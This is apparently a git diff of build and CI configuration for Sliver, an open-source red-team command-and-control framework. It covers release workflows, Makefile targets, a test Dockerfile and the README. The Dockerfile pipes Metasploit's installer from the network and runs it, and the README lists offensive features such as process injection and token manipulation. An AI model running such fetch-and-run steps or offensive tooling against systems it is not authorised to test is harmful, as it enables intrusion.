Early return

Remove early return
Moar debug logs
2026-11-08 08:04:14 -10:00 · 2023-07-10 14:54:18 -07:00 · 2023-07-10 14:49:42 -07:00 · 2023-07-10 14:48:01 -07:00 · 2023-07-10 14:42:33 -07:00 · 2023-07-10 14:03:09 -07:00
4282 changed files with 59269 additions and 772731 deletions
@@ -2,68 +2,101 @@ name: Release

 on:
  push:
-    branches: [master]
+    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
+    branches: ["master", "v1.5.x/master"]

 jobs:
-  servers-build:
-    name: Release Build Server
+  linux-windows-build:
+    name: Linux & Windows Build
    if: startsWith( github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    timeout-minutes: 45
    steps:
-      - name: Go 1.21
+      - name: Go 1.20
        uses: actions/setup-go@v4
        with:
-          go-version: "^1.21"
+          go-version: "^1.20"

      - name: OS Packages
        run: |
          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib

-      - name: Check Out Code
-        uses: actions/checkout@v4
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

      - name: Git Fetch Tags
        run: git fetch --prune --unshallow --tags -f

-      - name: Make
-        run: make servers
+      - name: Go Assets
+        run: ./go-assets.sh

-      - name: Server Artifacts
+      - name: Make
+        env:
+          ARTIFACT_SUFFIX: _linux
+        run: export PATH=/home/runner/go/bin/:$PATH && make linux
+
+      - name: Linux Artifacts
        uses: actions/upload-artifact@v3
        with:
-          name: servers
-          path: ./sliver-server_*
+          name: linux
+          path: ./sliver-*

-  clients-build:
-    name: Release Build Client
+      - name: Make Windows
+        env:
+          ARTIFACT_SUFFIX: _windows
+        run: |
+          make clean
+          export PATH=/home/runner/go/bin/:$PATH && make windows
+
+      - name: Windows Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: windows
+          path: ./sliver-*
+
+  macos-build:
+    name: MacOS Build
    if: startsWith( github.ref, 'refs/tags/v')
-    runs-on: ubuntu-latest
+    runs-on: macos-latest
    timeout-minutes: 45
    steps:
-      - name: Go 1.21
+      - name: Go 1.20
        uses: actions/setup-go@v4
        with:
-          go-version: "^1.21"
+          go-version: "^1.20"

-      - name: Check Out Code
-        uses: actions/checkout@v4
+      - name: Mingw
+        run: brew install mingw-w64
+
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

      - name: Git Fetch Tags
        run: git fetch --prune --unshallow --tags -f

-      - name: Make
-        run: make clients
+      - name: Go Assets
+        run: ./go-assets.sh

-      - name: Client Artifacts
+      - name: Make AMD64
+        env:
+          ARTIFACT_SUFFIX: _macos
+        run: make macos
+
+      - name: Make ARM64
+        env:
+          ARTIFACT_SUFFIX: _macos-arm64
+        run: make macos-arm64
+
+      - name: MacOS Artifacts
        uses: actions/upload-artifact@v3
        with:
-          name: clients
-          path: ./sliver-client_*
+          name: macos
+          path: ./sliver-*

  tagged-release:
-    needs: [servers-build, clients-build]
+    needs: [linux-windows-build, macos-build]

    name: "Tagged Release"
    if: startsWith( github.ref, 'refs/tags/v')
@@ -79,57 +112,40 @@ jobs:
      - name: Extract Artifacts
        run: |
          mkdir -p ./artifacts
-          cp ./builds/clients/* ./artifacts
-          cp ./builds/servers/* ./artifacts
+          cp ./builds/linux/* ./artifacts
+          cp ./builds/windows/* ./artifacts
+          cp ./builds/macos/* ./artifacts

-      - name: GPG Key(s)
+      - id: install-secret-key
+        name: GPG Key(s)
        run: |
          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
          gpg --list-secret-keys --keyid-format LONG

      # Linux
-      - name: Linux 386 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
      - name: Linux AMD64
        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
-      - name: Linux ARM64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux

      # Windows
-      - name: Windows 386 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
      - name: Windows AMD64
        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
-      - name: Windows ARM64 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe

-      # MacOS
+      # MacOS AMD64
      - name: MacOS AMD64
        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+
+      # MacOS ARM64
      - name: Package MacOS ARM64
        run: |
          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64

-      # FreeBSD
-      - name: FreeBSD AMD64 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
-      - name: FreeBSD ARM64 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
-
      - name: "Publish Release"
        uses: "bishopfox/action-gh-release@v1"
        with:
@@ -16,13 +16,13 @@ jobs:

    steps:
      # Setup go environment
-      - name: Go 1.21
+      - name: Go 1.20
        uses: actions/setup-go@v4
        with:
-          go-version: "^1.21"
+          go-version: "^1.20"

      - name: Checkout repository
-        uses: actions/checkout@v4
+        uses: actions/checkout@v3
        with:
          # Must fetch at least the immediate parents so that if this is
          # a pull request then we can checkout the head of the pull request.
@@ -33,19 +33,25 @@ jobs:
      - name: OS Packages
        run: |
          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64

-      - name: Check Out Code
-        uses: actions/checkout@v4
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

+      - name: Go Assets
+        run: ./go-assets.sh
+
+      # Initializes the CodeQL tools for scanning.
      - name: Initialize CodeQL
        uses: github/codeql-action/init@v2
        with:
          config-file: ./.github/codeql/codeql-config.yml
          languages: go

-      - name: Make
-        run: make
+      # Build the server ... is this necessary though?
+      - run: |
+          make

      - name: Perform CodeQL Analysis
        uses: github/codeql-action/analyze@v2
@@ -10,15 +10,15 @@ on:
      - ready_for_review

 jobs:
-  linux-windows-build-test:
-    name: Linux & Windows Test
+  linux-windows-build:
+    name: Linux & Windows Build
    runs-on: ubuntu-latest
    timeout-minutes: 90
    steps:
-      - name: Go 1.21
+      - name: Go 1.20
        uses: actions/setup-go@v4
        with:
-          go-version: "^1.21"
+          go-version: "1.20.2"

      - name: OS Packages
        run: |
@@ -26,70 +26,51 @@ jobs:
          git build-essential zlib1g zlib1g-dev wget zip unzip \
          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib

-      - name: Check Out Code
-        uses: actions/checkout@v4
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

      - name: Git Fetch Tags
        run: git fetch --prune --unshallow --tags -f

-      - name: Make Linux (amd64)
-        run: make linux-amd64
+      - name: Go Assets
+        run: ./go-assets.sh

-      - name: Test Linux
+      - name: Make
+        run: make linux
+
+      - name: Test
        run: ./sliver-server unpack --force && ./go-tests.sh

-      - name: Make Windows (amd64)
-        run: make windows-amd64
+      - name: Make Windows
+        run: make windows

-      - name: Make Linux (arm64)
-        run: make linux-arm64
-
-  macos-build-test:
-    name: MacOS Test
+  macos-build:
+    name: MacOS Build
    runs-on: macos-latest
    timeout-minutes: 90
    steps:
-      - name: Go 1.21
+      - name: Go 1.20
        uses: actions/setup-go@v4
        with:
-          go-version: "^1.21"
+          go-version: "1.20.2"

      - name: Mingw
        run: brew install mingw-w64

-      - name: Check Out Code
-        uses: actions/checkout@v4
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

      - name: Git Fetch Tags
        run: git fetch --prune --unshallow --tags -f

-      - name: Make MacOS (amd64)
-        run: make macos-amd64
+      - name: Go Assets
+        run: ./go-assets.sh

-      - name: Test MacOS (amd64)
+      - name: Make
+        run: make macos
+
+      - name: Test
        env:
          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
        run: ./sliver-server unpack --force && ./go-tests.sh
-
-      - name: Make MacOS (arm64)
-        run: make macos-arm64
-
-  clients-build:
-    name: Clients Build
-    runs-on: ubuntu-latest
-    timeout-minutes: 90
-    steps:
-      - name: Go 1.21
-        uses: actions/setup-go@v4
-        with:
-          go-version: "^1.21"
-
-      - name: Check Out Code
-        uses: actions/checkout@v4
-
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
-
-      - name: Make
-        run: make clients
@@ -14,12 +14,10 @@
 /sliver-server
 /sliver-server_arm64
 /sliver.exe
-/sliver-server_*

 /sliver-client
 /sliver-client_arm64
 /sliver-client.exe
-/sliver-client_*

 sliver-server-linux.zip
 sliver-server-macos.zip
@@ -34,7 +32,6 @@ sliver-server-windows.zip

 # Test binary, build with `go test -c`
 /*.test
-/test.py

 # Output of the go coverage tool, specifically when used with LiteIDE
 /*.out
@@ -1,4 +1,4 @@
-FROM --platform=linux/amd64 golang:1.21.4
+FROM golang:1.20.4

 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,6 +6,10 @@ FROM --platform=linux/amd64 golang:1.21.4
 #            a Docker deployment this is probably a good place to start.
 #

+ENV PROTOC_VER 21.12
+ENV PROTOC_GEN_GO_VER v1.27.1
+ENV GRPC_GO v1.2.0
+
 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
    git build-essential zlib1g zlib1g-dev \
@@ -31,19 +35,26 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
    && chmod 755 msfinstall \
    && ./msfinstall
-RUN mkdir -p ~/.msf4/ \
-    && touch ~/.msf4/initial_setup_complete \
-    && su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
+    &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'

 #
 # > Sliver
 #

+# Protoc
+WORKDIR /tmp
+RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+    && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+    && cp -vv ./bin/protoc /usr/local/bin
+RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
+    && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
+
 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN make clean-all \
-    && make \
+RUN make clean-all
+RUN make \
    && cp -vv sliver-server /opt/sliver-server \
    && /opt/sliver-server unpack --force 

@@ -5,12 +5,8 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS ?= -tags go_sqlite
-CGO_ENABLED = 0
+TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension

-ifneq (,$(findstring cgo_sqlite,$(TAGS)))
-	CGO_ENABLED = 1
-endif

 #
 # Prerequisites 
@@ -27,13 +23,13 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 21
+MIN_SUPPORTED_GO_MINOR_VERSION = 18
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)

 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
 RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
-ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
 ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
 VERSION_PKG = github.com/bishopfox/sliver/client/version
 CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
@@ -48,17 +44,17 @@ LDFLAGS = -ldflags "-s -w \
 	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"

-# Debug builds shouldn't be stripped (-s -w flags)
+# Debug builds can't be stripped (-s -w flags)
 LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
 	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
 	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
 	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"

 SED_INPLACE := sed -i
@@ -67,6 +63,17 @@ STATIC_TARGET := linux
 UNAME_S := $(shell uname -s)
 UNAME_P := $(shell uname -p)

+# If the target is Windows from Linux/Darwin, check for mingw
+CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
+ifneq (,$(findstring cgosqlite,$(TAGS)))
+	ENV +=CGO_ENABLED=1
+	ifeq ($(MAKECMDGOALS), windows)
+		K := $(foreach exec,$(CROSS_COMPILERS),\
+				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+	endif
+endif
+
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
@@ -97,69 +104,48 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif

+ifeq ($(MAKECMDGOALS), linux-arm64)
+	# Redefine TAGS/ENV to use pure go sqlite3
+	TAGS = -tags osusergo,netgo,gosqlite
+	ENV = CGO_ENABLED=0
+endif
+
 #
 # Targets
 #
 .PHONY: default
 default: clean .downloaded_assets validate-go-version
-	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
-# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
-.PHONY: client
-client: clean .downloaded_assets validate-go-version
-	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
-
-.PHONY: macos-amd64
-macos-amd64: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+.PHONY: macos
+macos: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: macos-arm64
 macos-arm64: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: linux-amd64
-linux-amd64: clean .downloaded_assets validate-go-version
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+.PHONY: linux
+linux: clean .downloaded_assets validate-go-version
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: linux-arm64
 linux-arm64: clean .downloaded_assets validate-go-version
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: windows-amd64
-windows-amd64: clean .downloaded_assets validate-go-version
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
-
-.PHONY: clients
-clients: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
-	GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
-	GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
-	GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
-	GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
-	GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
-
-.PHONY: servers
-servers: 
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
+.PHONY: windows
+windows: clean .downloaded_assets validate-go-version
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client

 .PHONY: pb
 pb:
@@ -171,8 +157,8 @@ pb:

 .PHONY: debug
 debug: clean
-	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 validate-go-version:
 	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
@@ -196,7 +182,7 @@ clean-all: clean

 .PHONY: clean
 clean:
-	rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
+	rm -f sliver-client sliver-server sliver-*.exe

 .downloaded_assets:
 	./go-assets.sh
@@ -1,4 +1,5 @@
-# Sliver
+Sliver
+======

 Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

@@ -6,28 +7,22 @@ The server and client support MacOS, Windows, and Linux. Implants are supported

 [![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)

-# v1.6.0 / `master`
-
-**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
-
-For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
-
 ### Features

- Dynamic code generation
- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
- Much more!
+* Dynamic code generation
